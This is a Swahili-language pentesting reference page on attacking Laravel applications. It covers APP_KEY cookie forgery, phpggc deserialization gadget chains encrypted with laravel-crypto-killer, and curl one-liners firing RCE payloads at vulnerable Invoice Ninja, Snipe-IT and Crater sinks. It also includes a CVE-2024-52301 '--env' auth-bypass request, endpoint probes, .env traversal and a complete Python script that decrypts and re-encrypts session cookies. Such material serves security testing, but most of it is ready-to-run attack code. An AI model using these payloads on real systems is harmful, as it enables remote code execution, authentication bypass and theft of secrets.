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Laravel
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Laravel SQLInjection
Soma taarifa kuhusu hili hapa: https://stitcher.io/blog/unsafe-sql-functions-in-laravel
APP_KEY & Undani za Encryption (Laravel \u003e=5.6)
Laravel inatumia AES-256-CBC (au GCM) pamoja na HMAC kwa integriti chini ya kifuniko (Illuminate\\Encryption\\Encrypter
).
Ciphertext mbichi ambayo hatimaye hutumwa kwa client ni Base64 ya JSON object kama:
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
encrypt($value, $serialize=true)
itafanya serialize()
ya plaintext kwa default, wakati decrypt($payload, $unserialize=true)
ita unserialize()
moja kwa moja thamani iliyofichuliwa. Kwa hiyo attacker yeyote anayejua siri ya 32-byte APP_KEY
anaweza kutengeneza encrypted PHP serialized object na kupata RCE kupitia magic methods (__wakeup
, __destruct
, …).
Minimal PoC (framework ≥9.x):
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
Weka string iliyotengenezwa kwenye sink yoyote yenye udhaifu ya decrypt()
(route param, cookie, session, …).
laravel-crypto-killer 🧨
laravel-crypto-killer huotomatisha mchakato mzima na inaongeza hali inayofaa ya bruteforce:
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
Scripti inasaidia kwa uwazi payloads za CBC na GCM na inazalisha tena uwanja wa HMAC/tag.
Real-world vulnerable patterns
Mradi | Sink dhaifu | Gadget chain |
---|---|---|
Invoice Ninja ≤v5 (CVE-2024-55555) | /route/{hash} → decrypt($hash) |
Laravel/RCE13 |
Snipe-IT ≤v6 (CVE-2024-48987) | XSRF-TOKEN cookie when Passport::withCookieSerialization() is enabled |
Laravel/RCE9 |
Crater (CVE-2024-55556) | SESSION_DRIVER=cookie → laravel_session cookie |
Laravel/RCE15 |
Mchakato wa unyonyaji ni daima:
- Pata au jaribu kwa brute-force
APP_KEY
ya byte 32. - Jenga gadget chain na PHPGGC (kwa mfano
Laravel/RCE13
,Laravel/RCE9
auLaravel/RCE15
). - Encrypt serialized gadget kwa laravel_crypto_killer.py na
APP_KEY
iliyopatikana. - Wasilisha ciphertext kwa sink dhaifu ya
decrypt()
(route parameter, cookie, session …) ili kusababisha RCE.
Hapo chini kuna mistari fupi (one-liners) inayoonyesha njia kamili ya shambulio kwa kila CVE ya ulimwengu halisi iliyo tajwa hapo juu:
# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"
# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
Ugundaji mkubwa wa APP_KEY via cookie brute-force
Kwa sababu kila majibu mapya ya Laravel huweka angalau cookie iliyofichwa (XSRF-TOKEN
na kawaida laravel_session
), public internet scanners (Shodan, Censys, …) leak mamilioni ya ciphertexts ambazo zinaweza kushambuliwa offline.
Matokeo muhimu ya utafiti uliochapishwa na Synacktiv (2024-2025):
- Dataset Julai 2024 » 580 k tokens, 3.99 % keys cracked (≈23 k)
- Dataset Mei 2025 » 625 k tokens, 3.56 % keys cracked
-
1 000 servers bado vulnerable to legacy CVE-2018-15133 kwa sababu tokens directly contain serialized data.
- Huge key reuse – the Top-10 APP_KEYs ni hard-coded defaults zilizoshipwa na commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).
Chombo binafsi cha Go nounours kinaboresha AES-CBC/GCM bruteforce throughput hadi ~1.5 billion tries/s, kukata muda wa full dataset cracking chini ya <2 minutes.
CVE-2024-52301 – HTTP argv/env override → auth bypass
Wakati PHP’s register_argc_argv=On
(kawaida kwenye distros nyingi), PHP inaonyesha array argv
kwa HTTP requests inayotokana na query string. Matoleo ya hivi karibuni ya Laravel yalichambua hizi “CLI-like” args na kuzingatia --env=<value>
wakati wa runtime. Hii inaruhusu kubadilisha environment ya framework kwa HTTP request ya sasa kwa kuiongeza tu kwenye URL yoyote:
-
Quick check:
-
Tembelea
https://target/?--env=local
au kamba yoyote na tazama mabadiliko yanayotegemea environment (debug banners, footers, verbose errors). Ikiwa kamba inaonekana reflected, override inafanya kazi. -
Impact example (business logic trusting a special env):
-
Ikiwa app ina matawi kama
if (app()->environment('preprod')) { /* bypass auth */ }
, unaweza kuthibitisha bila creds sahihi kwa kutuma login POST kwa: -
POST /login?--env=preprod
-
Notes:
-
Inaenda kwa kila-request, hakuna persistence.
-
Inahitaji
register_argc_argv=On
na vulnerable Laravel version inayosoma argv kwa HTTP. -
Primitive muhimu kuonyesha errors zaidi katika “debug” envs au kuamsha code paths zilizo gatwa na environment.
-
Mitigations:
-
Zima
register_argc_argv
kwa PHP-FPM/Apache. -
Update Laravel ili isibris argv kwenye HTTP requests na ondoa assumptions za trust zinazohusiana na
app()->environment()
katika production routes.
Minimal exploitation flow (Burp):
POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf
Triki za Laravel
Hali ya debugging
Ikiwa Laravel iko katika debugging mode utaweza kupata code na sensitive data.
Kwa mfano http://127.0.0.1:8000/profiles
:
Hali hii kawaida inahitajika kwa ku-exploit CVE nyingine za Laravel RCE.
Fingerprinting & exposed dev endpoints
Ukaguzi mfupi wa haraka kutambua stack ya Laravel na zana hatari za dev zilizo wazi katika production:
/_ignition/health-check
→ Ignition present (debug tool used by CVE-2021-3129). Ikiwa inafikika bila uthibitishaji, app inaweza kuwa katika debug au imepangwa vibaya./_debugbar
→ Laravel Debugbar assets; mara nyingi inaashiria debug mode./telescope
→ Laravel Telescope (dev monitor). Ikiwa ni public, tarajia ufichaji mkubwa wa taarifa na vitendo vinavyowezekana./horizon
→ Queue dashboard; version disclosure na wakati mwingine vitendo vilivyolindwa na CSRF.X-Powered-By
, cookiesXSRF-TOKEN
andlaravel_session
, and Blade error pages pia husaidia kutambulisha.
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
.env
Laravel huhifadhi APP inayotumiwa ku-encrypt cookies na taarifa nyingine za uthibitisho ndani ya faili inayoitwa .env
ambayo inaweza kufikiwa kwa kutumia path traversal chini ya: /../.env
Laravel pia itaonyesha taarifa hii ndani ya ukurasa wa debug (unaoonekana wakati Laravel inapata kosa na debug imewezeshwa).
Kwa kutumia APP_KEY ya siri ya Laravel unaweza decrypt na re-encrypt cookies:
Decrypt Cookie
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)
def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)
def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''
def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')
Laravel Deserialization RCE
Toleo zilizo hatarini: 5.5.40 na 5.6.x hadi 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)
Hapa unaweza kupata taarifa kuhusu deserialization vulnerability: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/
Unaweza kujaribu na kui-exploit ukitumia https://github.com/kozmic/laravel-poc-CVE-2018-15133
Au unaweza pia kui-exploit kwa kutumia metasploit: use unix/http/laravel_token_unserialize_exec
CVE-2021-3129
Deserialization nyingine: https://github.com/ambionics/laravel-exploits
Marejeo
- Laravel: APP_KEY leakage analysis (EN)
- Laravel : analyse de fuite d’APP_KEY (FR)
- laravel-crypto-killer
- PHPGGC – PHP Generic Gadget Chains
- CVE-2018-15133 write-up (WithSecure)
- CVE-2024-52301 advisory – Laravel argv env detection
- CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override
- 0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)
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